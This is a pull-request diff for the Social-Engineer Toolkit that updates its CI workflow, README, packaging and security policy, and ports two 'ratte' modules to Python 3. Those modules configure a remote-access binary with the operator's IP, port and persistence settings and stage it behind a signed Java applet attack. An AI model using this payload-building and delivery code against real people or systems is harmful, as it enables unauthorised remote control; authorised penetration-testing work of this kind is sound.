pull · Jun 4, 2026 · Jun 4, 2026 · Jun 4, 2026 · Jun 4, 2026 · Jun 4, 2026
diff --git a/.github/workflows/Python_tests.yml b/.github/workflows/Python_tests.yml
@@ -1,35 +1,31 @@
 name: Python_tests
+
 on: [push, pull_request]
+
 jobs:
   Python_tests:
-    runs-on: ${{ matrix.os }}
+    runs-on: ubuntu-latest
     strategy:
       fail-fast: false
       matrix:
-        os: [ubuntu-latest]  # [macos-latest, windows-latest]
-        python-version: [3.5, 3.6, 3.7]  # , 3.8]
+        python-version: ["3.11", "3.12", "3.13"]
+
     steps:
-      - uses: actions/checkout@v1
+      - uses: actions/checkout@v4
+
       - name: Set up Python ${{ matrix.python-version }}
-        uses: actions/setup-python@v1
+        uses: actions/setup-python@v5
         with:
           python-version: ${{ matrix.python-version }}
+
       - name: Install dependencies
         run: |
           python -m pip install --upgrade pip
-          pip install flake8 pytest -r requirements.txt
-      #- name: Check formatting with black
-      #  if: matrix.os == 'ubuntu-latest' && matrix.python-version == '3.8'
-      #  run: |
-      #     pip install black
-      #     black --check .
-      - name: Lint with flake8
-        run: |
-          # stop the build if there are Python syntax errors or undefined names
-          flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
-          # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
-          flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
-      #- name: Test with pytest
-      #  run: pytest
-      #- name: Run doctests with pytest
-      #  run: pytest --doctest-modules
+          python -m pip install -e .
+          python -m pip install pytest
+
+      - name: Compile Python sources
+        run: python -m compileall -q .
+
+      - name: Test with pytest
+        run: pytest -q
diff --git a/README.md b/README.md
@@ -1,67 +1,78 @@
 # The Social-Engineer Toolkit (SET)
-* Copyright :copyright: 2020
-* Written by: David Kennedy (ReL1K) @HackingDave 
-* Company: [TrustedSec](https://www.trustedsec.com)
 
-<br/>
+The Social-Engineer Toolkit is an open-source penetration testing framework for authorized social-engineering assessments. SET provides guided attack vectors for security teams that need to test user awareness, validate controls, and run consent-based red-team exercises.
 
-## Description
-The Social-Engineer Toolkit is an open-source penetration testing framework designed for social engineering. SET has a number of custom attack vectors that allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC – an information security consulting firm located in Cleveland, Ohio.
+SET is a TrustedSec project written by David Kennedy (ReL1K) / @HackingDave.
 
-DISCLAIMER: This is *only* for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.
-Please read the LICENSE under readme/LICENSE for the licensing of SET. 
+## Responsible Use
 
-#### Supported platforms:
-* Linux
-* Mac OS X (experimental)
+SET is only for authorized testing where explicit permission and scope have been established. Do not use SET against systems, accounts, networks, or people without consent. Review the license in [readme/LICENSE](readme/LICENSE) before using or distributing SET.
 
-# Installation
+## Supported Platforms
 
-## Install via requirements.txt
+- Linux
+- macOS, experimental
+- Windows through WSL/WSL2 Kali or another supported Linux environment
+
+SET 8.1.3 targets Python 3.11 through Python 3.13.
+
+## Installation
+
+### Kali Linux / WSL
 
 ```bash
-pip3 install -r requirements.txt
-python3 setup.py 
+sudo apt update
+sudo apt install set -y
 ```
 
-## Install SET
-=======
-#### Mac OS X
-You will need to use a virtual environment for the Python install if you are using an M2 Macbook with the following instructions in your CLI within the social-engineer-toolkit directory. 
+### From Source
+
 ```bash
-    # to install dependencies, run the following:
-    python3 -m venv path/to/venv
-    source path/to/venv/bin/activate
-    python3 -m pip install -r requirements.txt
+git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/
+cd setoolkit
+python3 -m venv .venv
+source .venv/bin/activate
+python -m pip install --upgrade pip
+python -m pip install -e .
+```
 
-    # to install SET
-    sudo python3 setup.py 
+For the legacy system-wide layout, run the installer with elevated privileges:
+
+```bash
+sudo python3 setup.py
 ```
 
-<br/>
+The legacy installer copies SET to `/usr/local/share/setoolkit`, writes `/etc/setoolkit/set.config`, and creates `/usr/local/bin/setoolkit`.
+
+## Usage
+
+Launch the interactive console:
 
-## Installation
-#### Windows 10 WSL/WSL2 Kali Linux
 ```bash
-sudo apt install set -y
+sudo setoolkit
 ```
-Kali Linux on Windows 10 is a minimal installation so it doesn't have any tools installed.
-You can easily install Social Engineer Toolkit on WSL/WSL2 without needing pip using the above command.
 
-#### Linux
+From a source checkout, you can also run:
+
 ```bash
-git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/
-cd setoolkit
-pip3 install -r requirements.txt
-python setup.py
+sudo ./setoolkit
 ```
-<br/>
 
-## SET Tutorial
-For a full document on how to use SET, [visit the SET user manual](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf).
+The full user manual is available at [readme/User_Manual.pdf](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf).
+
+## Development
+
+```bash
+python -m pip install -e .
+python -m pip install pytest
+python -m compileall -q .
+pytest -q
+```
+
+## Security Reports
+
+Please report vulnerabilities through the process in [SECURITY.md](SECURITY.md). Do not open public issues for exploitable vulnerabilities.
 
-<br/>
+## Bugs and Enhancements
 
-## Bugs and enhancements
-For bug reports or enhancements, please open an [issue](https://github.com/trustedsec/social-engineer-toolkit/issues) here.
-<br/>
+For non-sensitive bug reports or enhancement requests, open an issue at https://github.com/trustedsec/social-engineer-toolkit/issues with SET version, platform, Python version, and reproduction steps.
diff --git a/SECURITY.md b/SECURITY.md
@@ -0,0 +1,30 @@
+# Security Policy
+
+## Supported Versions
+
+Security fixes are provided for the current released version of SET. Older releases may receive fixes at maintainer discretion when the impact and patch risk justify it.
+
+| Version | Supported |
+| ------- | --------- |
+| 8.1.x   | Yes       |
+| < 8.1   | No        |
+
+## Reporting A Vulnerability
+
+Do not open a public GitHub issue for exploitable vulnerabilities.
+
+Report security concerns through TrustedSec's normal vulnerability disclosure channels or contact the maintainers privately with:
+
+- Affected version and commit
+- Platform and Python version
+- Clear reproduction steps
+- Expected impact
+- Any proof-of-concept material needed to validate the issue
+
+The project will acknowledge valid reports as maintainers are available, triage impact, and coordinate a fix or disclosure path when appropriate.
+
+## Scope
+
+Reports should focus on vulnerabilities in SET itself, including unintended code execution, path traversal, unsafe file handling, credential disclosure beyond intended local operator output, dependency risks, or bypasses of safety checks.
+
+Requests to recover or obtain passwords, access third-party accounts, or attack systems without authorization are not valid security reports and will be closed.
diff --git a/docs/lessons.md b/docs/lessons.md
@@ -0,0 +1,7 @@
+# Lessons
+
+## 2026-06-04 - Apply patches in the intended worktree
+
+- What went wrong: I added `tests/test_packaging.py` in the original checkout after creating the feature worktree.
+- Fix: Removed the misplaced file and re-applied the patch with an absolute path inside the worktree.
+- Prevention: After creating or switching worktrees, run `pwd` and `git status --short --branch` before every file edit, and use absolute paths for patches when multiple checkouts are open.
diff --git a/modules/ratte_module.py b/modules/ratte_module.py
@@ -3,6 +3,7 @@
 # These are required fields
 #
 import os
+import shutil
 import subprocess
 from time import sleep
 
@@ -107,21 +108,30 @@ def java_applet_attack_tw(website, port, directory, ipaddr):
             for line in fileopen:
                 # define executable name and rename it
                 filename = line.rstrip()
+                if not filename:
+                    continue
                 # move the file to the specified directory and filename
-                subprocess.Popen("cp src/payloads/ratte/ratte.binary %s/%s 1> /dev/null 2> /dev/null" % (directory, filename), shell=True).wait()
+                shutil.copyfile(
+                    os.path.join("src", "payloads", "ratte", "ratte.binary"),
+                    os.path.join(directory, filename),
+                )
 
     # lastly we need to copy over the signed applet
-    subprocess.Popen("cp %s/Signed_Update.jar %s 1> /dev/null 2> /dev/null" % (userconfigpath, directory), shell=True).wait()
+    shutil.copyfile(
+        os.path.join(userconfigpath, "Signed_Update.jar"),
+        os.path.join(directory, "Signed_Update.jar"),
+    )
 
     # TODO index.html parsen und IPADDR:Port ersetzen
     with open(os.path.join(directory, "index.html"), "rb") as fileopen:
         data = fileopen.read()
 
     with open(os.path.join(directory, "index.html"), 'wb') as filewrite:
-        to_replace = core.grab_ipaddress() + ":80"
+        to_replace = (core.grab_ipaddress() + ":80").encode("utf-8")
+        replacement = ("%s:%s" % (ipaddr, port)).encode("utf-8")
 
         # replace 3 times
-        filewrite.write(data.replace(str(to_replace), ipaddr + ":" + str(port), 3))
+        filewrite.write(data.replace(to_replace, replacement, 3))
 
     # start the web server by running it in the background
     start_web_server_tw(directory, port)
@@ -150,16 +160,22 @@ def prepare_ratte(ipaddr, ratteport, persistent, customexe):
     ############
     with open(os.path.join(userconfigpath, "ratteM.exe"), 'wb') as filewrite:
 
-        host = (len(ipaddr) + 1) * "X"
-        r_port = (len(str(ratteport)) + 1) * "Y"
-        pers = (len(str(persistent)) + 1) * "Z"
+        host = ((len(ipaddr) + 1) * "X").encode("ascii")
+        r_port = ((len(str(ratteport)) + 1) * "Y").encode("ascii")
+        pers = ((len(str(persistent)) + 1) * "Z").encode("ascii")
         # check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
         if customexe:
-            cexe = (len(str(customexe)) + 1) * "Q"
+            cexe = ((len(str(customexe)) + 1) * "Q").encode("ascii")
         else:
-            cexe = ""
+            cexe = None
 
-        filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1))
+        patched = data
+        if cexe is not None:
+            patched = patched.replace(cexe, (customexe + "\x00").encode("utf-8"), 1)
+        patched = patched.replace(pers, (persistent + "\x00").encode("utf-8"), 1)
+        patched = patched.replace(host, (ipaddr + "\x00").encode("utf-8"), 1)
+        patched = patched.replace(r_port, (str(ratteport) + "\x00").encode("utf-8"), 1)
+        filewrite.write(patched)
 
 
 # def main(): header is required
@@ -271,10 +287,13 @@ def main():
     core.print_info("Starting java applet attack...")
     java_applet_attack_tw(website, javaport, "reports/", ipaddr)
 
-    with open(os.path.join(userconfigpath, definepath, "/rand_gen")) as fileopen:
+    with open(os.path.join(userconfigpath, "rand_gen")) as fileopen:
         for line in fileopen:
             ratte_random = line.rstrip()
-        subprocess.Popen("cp %s/ratteM.exe %s/reports/%s" % (os.path.join(userconfigpath, definepath), definepath, ratte_random), shell=True).wait()
+        shutil.copyfile(
+            os.path.join(userconfigpath, "ratteM.exe"),
+            os.path.join(definepath, "reports", ratte_random),
+        )
 
     #######################
     # start ratteserver

diff --git a/modules/ratte_only_module.py b/modules/ratte_only_module.py
@@ -42,16 +42,22 @@ def prepare_ratte(ipaddr, ratteport, persistent, customexe):
     ############
     with open(os.path.join(core.userconfigpath, "ratteM.exe"), "wb") as filewrite:
 
-        host = (len(ipaddr) + 1) * "X"
-        r_port = (len(str(ratteport)) + 1) * "Y"
-        pers = (len(str(persistent)) + 1) * "Z"
+        host = ((len(ipaddr) + 1) * "X").encode("ascii")
+        r_port = ((len(str(ratteport)) + 1) * "Y").encode("ascii")
+        pers = ((len(str(persistent)) + 1) * "Z").encode("ascii")
         # check ob cexe > 0, sonst wird ein Feld gepatcht (falsch!)
         if customexe:
-            cexe = (len(str(customexe)) + 1) * "Q"
+            cexe = ((len(str(customexe)) + 1) * "Q").encode("ascii")
         else:
-            cexe = ""
-
-        filewrite.write(data.replace(cexe, customexe + "\x00", 1).replace(pers, persistent + "\x00", 1).replace(host, ipaddr + "\x00", 1).replace(r_port, str(ratteport) + "\x00", 1))
+            cexe = None
+
+        patched = data
+        if cexe is not None:
+            patched = patched.replace(cexe, (customexe + "\x00").encode("utf-8"), 1)
+        patched = patched.replace(pers, (persistent + "\x00").encode("utf-8"), 1)
+        patched = patched.replace(host, (ipaddr + "\x00").encode("utf-8"), 1)
+        patched = patched.replace(r_port, (str(ratteport) + "\x00").encode("utf-8"), 1)
+        filewrite.write(patched)
 
         # filewrite.write(data.replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )
         # filewrite.write(data.replace(str(pers), persistent+"\x00", 1).replace(str(host), ipaddr+"\x00", 1).replace(str(rPort), str(ratteport)+"\x00", 1) )

diff --git a/pyproject.toml b/pyproject.toml
@@ -0,0 +1,50 @@
+[build-system]
+requires = ["setuptools>=69", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "social-engineer-toolkit"
+version = "8.1.3"
+description = "An open-source penetration testing framework for authorized social-engineering assessments."
+readme = "README.md"
+requires-python = ">=3.11,<3.14"
+license = { file = "readme/LICENSE" }
+authors = [
+    { name = "David Kennedy" },
+]
+keywords = ["security", "penetration-testing", "social-engineering", "red-team"]
+classifiers = [
+    "Development Status :: 5 - Production/Stable",
+    "Environment :: Console",
+    "Intended Audience :: Information Technology",
+    "License :: OSI Approved :: BSD License",
+    "Operating System :: POSIX :: Linux",
+    "Operating System :: MacOS",
+    "Programming Language :: Python :: 3",
+    "Programming Language :: Python :: 3.11",
+    "Programming Language :: Python :: 3.12",
+    "Programming Language :: Python :: 3.13",
+    "Topic :: Security",
+]
+dependencies = [
+    "pexpect",
+    "pycryptodome",
+    "requests",
+    "pyOpenSSL",
+    "pefile",
+    "impacket",
+    "qrcode",
+    "pillow",
+    "pymssql<3.0",
+]
+
+[project.urls]
+Homepage = "https://github.com/trustedsec/social-engineer-toolkit"
+Issues = "https://github.com/trustedsec/social-engineer-toolkit/issues"
+
+[tool.setuptools]
+include-package-data = true
+script-files = ["setoolkit", "seautomate", "seproxy", "seupdate"]
+
+[tool.setuptools.packages.find]
+include = ["src*"]